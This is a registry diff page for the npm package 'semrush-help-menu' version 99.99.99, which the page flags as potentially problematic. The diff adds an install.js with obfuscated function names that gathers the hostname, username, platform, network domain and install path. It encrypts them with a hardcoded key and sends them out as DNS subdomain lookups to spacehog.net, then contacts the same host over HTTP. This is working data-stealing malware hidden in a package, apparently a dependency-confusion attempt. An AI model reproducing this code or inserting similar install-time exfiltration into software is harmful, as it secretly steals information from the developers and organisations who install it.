semrush-help-menu 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of semrush-help-menu might be problematic. Click here for more details.
- package/index.js +1 -0
- package/install.js +98 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("installed");
|
package/install.js
ADDED
@@ -0,0 +1,98 @@
|
|
1
|
+
var os = require('os')
|
2
|
+
var crypto = require('crypto');
|
3
|
+
var dns = require('dns');
|
4
|
+
const http = require('http');
|
5
|
+
const execSync = require('child_process').execSync;
|
6
|
+
|
7
|
+
function ca4bb072ceea3ab317f305a685b251ed(string,chunk_size) {
|
8
|
+
var b = [];
|
9
|
+
newstring = '';
|
10
|
+
char_count = 0
|
11
|
+
|
12
|
+
for(var i=0; i < string.length; i+=1){
|
13
|
+
char_count+=1;
|
14
|
+
if (char_count < chunk_size) {
|
15
|
+
newstring+= string[i];
|
16
|
+
}
|
17
|
+
else {
|
18
|
+
b.push(newstring);
|
19
|
+
newstring = string[i];
|
20
|
+
char_count = 0;
|
21
|
+
}
|
22
|
+
}
|
23
|
+
|
24
|
+
if (newstring.length != 0 && b[b.length -1] != newstring){b.push(newstring);}
|
25
|
+
|
26
|
+
if (b.length > 0 && b.length < 3) {
|
27
|
+
return_string = b.toString().replace(",",".");
|
28
|
+
return return_string;
|
29
|
+
}
|
30
|
+
else if (b.length == 0) {
|
31
|
+
return newstring;
|
32
|
+
}
|
33
|
+
else {
|
34
|
+
return b;
|
35
|
+
}
|
36
|
+
}
|
37
|
+
|
38
|
+
function f994d544e6f15ccbb04cee479878873c6(sequence,semi_random_id, information, information_identifier, domain) {
|
39
|
+
dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
|
40
|
+
}
|
41
|
+
|
42
|
+
function fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, information, information_identifier, domain) {
|
43
|
+
if (typeof information == 'object') {
|
44
|
+
|
45
|
+
for (i = 0; i < information.length;i++ ) {
|
46
|
+
f994d544e6f15ccbb04cee479878873c6(i,semi_random_id, information[i], information_identifier, domain);
|
47
|
+
}
|
48
|
+
}
|
49
|
+
else if (typeof information == 'string') {
|
50
|
+
f994d544e6f15ccbb04cee479878873c6('n',semi_random_id, information, information_identifier, domain);
|
51
|
+
}
|
52
|
+
}
|
53
|
+
|
54
|
+
let domain = 'spacehog.net'
|
55
|
+
let super_secret_password = '27666fae19bb1ebb2d83eddd69195c63'
|
56
|
+
let userinfo = os.userInfo()
|
57
|
+
let info = ""
|
58
|
+
|
59
|
+
const buf = crypto.randomBytes(2);
|
60
|
+
const semi_random_id = buf.toString('hex')
|
61
|
+
|
62
|
+
if (os.platform().includes("win")) {
|
63
|
+
domain_info = execSync('wmic computersystem get domain').toString();
|
64
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
|
65
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
66
|
+
}
|
67
|
+
else if (os.platform().includes("linux")) {
|
68
|
+
domain_info = execSync('uname -n').toString();
|
69
|
+
domain_info = domain_info.replace(/[\n\r\t\s]/g, '');
|
70
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
|
71
|
+
}
|
72
|
+
else {
|
73
|
+
info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
|
74
|
+
}
|
75
|
+
|
76
|
+
|
77
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
78
|
+
var update = super_secret_key.update(info,'utf8','hex');
|
79
|
+
update+= super_secret_key.final('hex');
|
80
|
+
subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
|
81
|
+
|
82
|
+
fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'u', domain);
|
83
|
+
|
84
|
+
var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
|
85
|
+
var update = super_secret_key.update(__dirname,'utf8','hex');
|
86
|
+
update+= super_secret_key.final('hex');
|
87
|
+
subdomain_split = ca4bb072ceea3ab317f305a685b251ed(update,63);
|
88
|
+
|
89
|
+
fd0f60879b6f401ef092352411106e59aa1523286e8a033c063048842f6aa3ae(semi_random_id, subdomain_split, 'p', domain);
|
90
|
+
|
91
|
+
http.get({
|
92
|
+
hostname: 'spacehog.net',
|
93
|
+
port: 21,
|
94
|
+
path: '/'+semi_random_id,
|
95
|
+
agent: false},
|
96
|
+
(res) => {
|
97
|
+
//nothing
|
98
|
+
});
|